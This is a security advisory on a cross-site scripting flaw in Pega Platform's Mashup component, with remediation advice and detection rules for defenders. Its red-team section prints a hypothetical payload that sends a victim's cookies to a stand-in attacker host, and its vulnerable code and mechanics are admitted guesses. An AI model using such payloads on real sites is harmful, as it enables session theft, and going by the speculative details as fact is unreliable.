CVE-2025-2160

Executive Summary

CVE-2025-2160 is a Cross-Site Scripting (XSS) vulnerability affecting Pega Platform versions 8.4.3 through Infinity 24.2.1. The flaw resides in the Mashup component, allowing an attacker to inject malicious scripts into web pages viewed by other users. With a CVSS score of 8.1, this vulnerability is considered high severity. The attack vector is network-based, requires low complexity, and user interaction, but can lead to significant confidentiality, integrity, and availability impacts. As of this report, no official patch has been released, and no public exploit code is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – The attacker does not need any prior authentication.
• User Interaction (UI): Required (R) – The victim must interact with a malicious link or content.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) – Sensitive data can be accessed.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High. The combination of network exploitability, low complexity, and no privileges required makes this a serious threat, especially in environments where Mashup functionality is exposed to untrusted users.

Deep Dive & Mechanics

The vulnerability is a classic stored or reflected XSS within the Pega Mashup component. Mashup allows embedding Pega applications into external web pages. The flaw likely stems from improper sanitization of user-supplied input that is later rendered in the context of a web page. An attacker can craft a malicious URL or input containing JavaScript code. When a victim accesses the crafted content, the script executes in the victim's browser, potentially stealing session cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

The attack flow:

1. Attacker identifies a vulnerable Pega Mashup endpoint.
2. Attacker crafts a payload (e.g., <script>alert('XSS')</script>) and embeds it in a parameter or input field.
3. Victim clicks a link or views content that triggers the Mashup.
4. The payload executes in the victim's browser, allowing the attacker to steal session tokens or perform other malicious actions.

Vulnerable vs. Patched Code

Since no official patch is available, we can only hypothesize the fix. The vulnerable code likely lacks proper output encoding or input validation. A patched version would sanitize all user inputs and encode outputs before rendering in the browser.

Vulnerable Code Example (Hypothetical):

// Vulnerable: Directly inserts user input into HTML
function renderMashup(userInput) {
    document.getElementById('mashup-container').innerHTML = userInput;
}

Patched Code Example (Hypothetical):

// Patched: Sanitizes input before rendering
function renderMashup(userInput) {
    var sanitized = DOMPurify.sanitize(userInput);
    document.getElementById('mashup-container').innerHTML = sanitized;
}

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit exists, a red team would need to craft a custom payload. The following steps outline a potential exploitation scenario:

1. Identify Vulnerable Endpoint: Use Shodan or manual reconnaissance to find Pega Mashup instances.
2. Craft Payload: Create a JavaScript payload that steals cookies or performs actions.
3. Deliver Payload: Send a crafted link to a victim via phishing or social engineering.

Example Payload (Hypothetical):

<script>
    var img = new Image();
    img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>

Lab Setup:

• Attacker Machine: Kali Linux with Burp Suite.
• Victim Machine: Windows 10 with a modern browser.
• Target: A local Pega Platform instance (version 8.4.3 to 24.2.1) with Mashup enabled.

Steps:

1. Deploy a vulnerable Pega instance in a lab environment.
2. Use Burp Suite to intercept and modify requests to inject XSS payloads.
3. Observe the execution of the payload in the victim's browser.

Blue Team (Defense)

Blue team should focus on detection and mitigation:

1. Web Application Firewall (WAF): Deploy WAF rules to block common XSS patterns.
2. Input Validation: Implement strict input validation on all user-supplied data.
3. Output Encoding: Ensure all dynamic content is properly encoded before rendering.
4. Content Security Policy (CSP): Enforce a strict CSP to limit script execution.

Detection Steps:

• Monitor logs for unusual JavaScript execution or unexpected HTTP requests.
• Use browser developer tools to inspect network traffic for suspicious payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags or event handlers (e.g., onerror, onload).
  • Outbound connections to unknown or suspicious domains from Pega Mashup pages.
• Host IOCs:
  • Unexpected JavaScript files in browser cache.
  • Modified browser settings or extensions.
• Log IOCs:
  • Repeated 400/500 errors on Mashup endpoints.
  • Unusual user-agent strings or referrer headers.

Detection Engineering

YARA Rule

rule CVE_2025_2160_XSS_Mashup {
    meta:
        description = "Detects XSS payloads targeting Pega Mashup"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2160"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-2160 XSS in Pega Mashup
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts against Pega Mashup endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/mashup'
            - '/prweb'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Mashup parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2160 XSS in Pega Mashup"; flow:to_server,established; content:"/mashup"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable Mashup functionality if not required.
   • Apply strict input validation and output encoding.
   • Deploy a WAF with XSS protection rules.

2. Long-term Fix:

   • Monitor Pega’s official channels for a security patch.
   • Upgrade to a patched version once available.
   • Conduct a security audit of all Mashup endpoints.

3. Compensating Controls:

   • Implement Content Security Policy (CSP) headers.
   • Use HTTP-only cookies to mitigate session theft.
   • Educate users about phishing attacks.

Valters IT